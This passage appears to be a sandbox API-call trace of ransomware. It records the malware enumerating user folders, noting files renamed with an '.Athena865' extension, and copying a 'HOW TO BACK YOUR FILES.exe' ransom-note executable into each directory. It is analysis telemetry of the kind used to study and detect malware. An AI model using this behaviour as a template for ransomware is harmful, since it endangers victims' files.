Settings\\Default User\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.758] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\msn websites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.758] GetLastError () returned 0x0 [0103.758] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.759] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.759] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe52da080, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe52da080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.759] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.759] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.759] lstrcpyW (in: lpString1=0x241e8c4, lpString2="MSN Autos.url.Athena865" | out: lpString1="MSN Autos.url.Athena865") returned="MSN Autos.url.Athena865" [0103.760] lstrlenW (lpString="MSN Autos.url.Athena865") returned 23 [0103.760] lstrlenW (lpString="Athena865") returned 9 [0103.760] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe528ddc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url.Athena865", cAlternateFileName="MSNENT~1.ATH")) returned 1 [0103.760] lstrcmpiW (lpString1="MSN Entertainment.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.760] lstrcmpiW (lpString1="MSN Entertainment.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.760] lstrcpyW (in: lpString1=0x241e8c4, lpString2="MSN Entertainment.url.Athena865" | out: lpString1="MSN Entertainment.url.Athena865") returned="MSN Entertainment.url.Athena865" [0103.760] lstrlenW (lpString="MSN Entertainment.url.Athena865") returned 31 [0103.760] lstrlenW (lpString="Athena865") returned 9 [0103.760] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe528ddc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url.Athena865", cAlternateFileName="MSNMON~1.ATH")) returned 1 [0103.760] lstrcmpiW (lpString1="MSN Money.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.760] lstrcmpiW (lpString1="MSN Money.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.760] lstrcpyW (in: lpString1=0x241e8c4, lpString2="MSN Money.url.Athena865" | out: lpString1="MSN Money.url.Athena865") returned="MSN Money.url.Athena865" [0103.760] lstrlenW (lpString="MSN Money.url.Athena865") returned 23 [0103.760] lstrlenW (lpString="Athena865") returned 9 [0103.760] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe52b3f20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url.Athena865", cAlternateFileName="MSNSPO~1.ATH")) returned 1 [0103.760] lstrcmpiW (lpString1="MSN Sports.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.760] lstrcmpiW (lpString1="MSN Sports.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.760] lstrcpyW (in: lpString1=0x241e8c4, lpString2="MSN Sports.url.Athena865" | out: lpString1="MSN Sports.url.Athena865") returned="MSN Sports.url.Athena865" [0103.760] lstrlenW (lpString="MSN Sports.url.Athena865") returned 24 [0103.760] lstrlenW (lpString="Athena865") returned 9 [0103.760] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe52b3f20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url.Athena865", cAlternateFileName="MSNURL~1.ATH")) returned 1 [0103.760] lstrcmpiW (lpString1="MSN.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.760] lstrcmpiW (lpString1="MSN.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.761] lstrcpyW (in: lpString1=0x241e8c4, lpString2="MSN.url.Athena865" | out: lpString1="MSN.url.Athena865") returned="MSN.url.Athena865" [0103.761] lstrlenW (lpString="MSN.url.Athena865") returned 17 [0103.761] lstrlenW (lpString="Athena865") returned 9 [0103.761] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.761] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe52da080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url.Athena865", cAlternateFileName="MSNBCN~1.ATH")) returned 1 [0103.761] lstrcmpiW (lpString1="MSNBC News.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.761] lstrcmpiW (lpString1="MSNBC News.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.761] lstrcpyW (in: lpString1=0x241e8c4, lpString2="MSNBC News.url.Athena865" | out: lpString1="MSNBC News.url.Athena865") returned="MSNBC News.url.Athena865" [0103.761] lstrlenW (lpString="MSNBC News.url.Athena865") returned 24 [0103.761] lstrlenW (lpString="Athena865") returned 9 [0103.761] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.761] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe52da080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url.Athena865", cAlternateFileName="MSNBCN~1.ATH")) returned 0 [0103.761] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.761] ReleaseMutex (hMutex=0xec) returned 1 [0103.761] CloseHandle (hObject=0xec) returned 1 [0103.761] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live") returned="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live" [0103.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519b30 | out: hHeap=0x4f0000) returned 1 [0103.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ccc0 | out: hHeap=0x4f0000) returned 1 [0103.761] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live") returned 61 [0103.761] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A01BBA5180EE03F2B9CA8CF0C7470E60") returned 0xec [0103.761] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.761] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live" | out: lpString1="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live") returned="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live" [0103.761] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.761] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.762] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\windows live\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.762] GetLastError () returned 0x0 [0103.762] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.763] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.763] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5456e40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5456e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.763] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.763] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.763] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Get Windows Live.url.Athena865" | out: lpString1="Get Windows Live.url.Athena865") returned="Get Windows Live.url.Athena865" [0103.763] lstrlenW (lpString="Get Windows Live.url.Athena865") returned 30 [0103.763] lstrlenW (lpString="Athena865") returned 9 [0103.763] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.763] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc799aaa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.763] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.763] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe5326340, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url.Athena865", cAlternateFileName="WINDOW~1.ATH")) returned 1 [0103.763] lstrcmpiW (lpString1="Windows Live Gallery.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.764] lstrcmpiW (lpString1="Windows Live Gallery.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.764] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Windows Live Gallery.url.Athena865" | out: lpString1="Windows Live Gallery.url.Athena865") returned="Windows Live Gallery.url.Athena865" [0103.764] lstrlenW (lpString="Windows Live Gallery.url.Athena865") returned 34 [0103.764] lstrlenW (lpString="Athena865") returned 9 [0103.764] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.764] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe5430ce0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Mail.url.Athena865", cAlternateFileName="WINDOW~2.ATH")) returned 1 [0103.764] lstrcmpiW (lpString1="Windows Live Mail.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.764] lstrcmpiW (lpString1="Windows Live Mail.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.764] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Windows Live Mail.url.Athena865" | out: lpString1="Windows Live Mail.url.Athena865") returned="Windows Live Mail.url.Athena865" [0103.764] lstrlenW (lpString="Windows Live Mail.url.Athena865") returned 31 [0103.764] lstrlenW (lpString="Athena865") returned 9 [0103.764] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.764] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe5456e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url.Athena865", cAlternateFileName="WINDOW~3.ATH")) returned 1 [0103.764] lstrcmpiW (lpString1="Windows Live Spaces.url.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.764] lstrcmpiW (lpString1="Windows Live Spaces.url.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.764] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Windows Live Spaces.url.Athena865" | out: lpString1="Windows Live Spaces.url.Athena865") returned="Windows Live Spaces.url.Athena865" [0103.764] lstrlenW (lpString="Windows Live Spaces.url.Athena865") returned 33 [0103.764] lstrlenW (lpString="Athena865") returned 9 [0103.764] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.764] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe5456e40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url.Athena865", cAlternateFileName="WINDOW~3.ATH")) returned 0 [0103.764] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.764] ReleaseMutex (hMutex=0xec) returned 1 [0103.764] CloseHandle (hObject=0xec) returned 1 [0103.764] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data") returned="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data" [0103.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532ee8 | out: hHeap=0x4f0000) returned 1 [0103.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cdb0 | out: hHeap=0x4f0000) returned 1 [0103.764] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data") returned 70 [0103.765] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4850D7CC71F59FC2522E141DD38684EB") returned 0xec [0103.765] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.765] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data") returned="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data" [0103.765] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.765] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.765] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.765] GetLastError () returned 0x0 [0103.766] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.766] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.766] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.766] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.766] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.766] lstrcpyW (in: lpString1=0x241e8d6, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0103.766] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0103.766] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0103.766] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.767] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0103.767] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.767] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.767] lstrcpyW (in: lpString1=0x241e8d6, lpString2="History" | out: lpString1="History") returned="History" [0103.767] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0103.767] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0103.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.767] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.767] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.768] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbdaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0103.768] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.768] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.768] lstrcpyW (in: lpString1=0x241e8d6, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0103.768] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0103.768] lstrlenW (lpString="Athena865") returned 9 [0103.768] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.768] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.768] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.768] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.768] lstrcpyW (in: lpString1=0x241e8d6, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.768] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.768] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.768] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.769] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0103.769] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.769] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.769] lstrcpyW (in: lpString1=0x241e8d6, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0103.769] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0103.769] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0103.769] CopyFileW 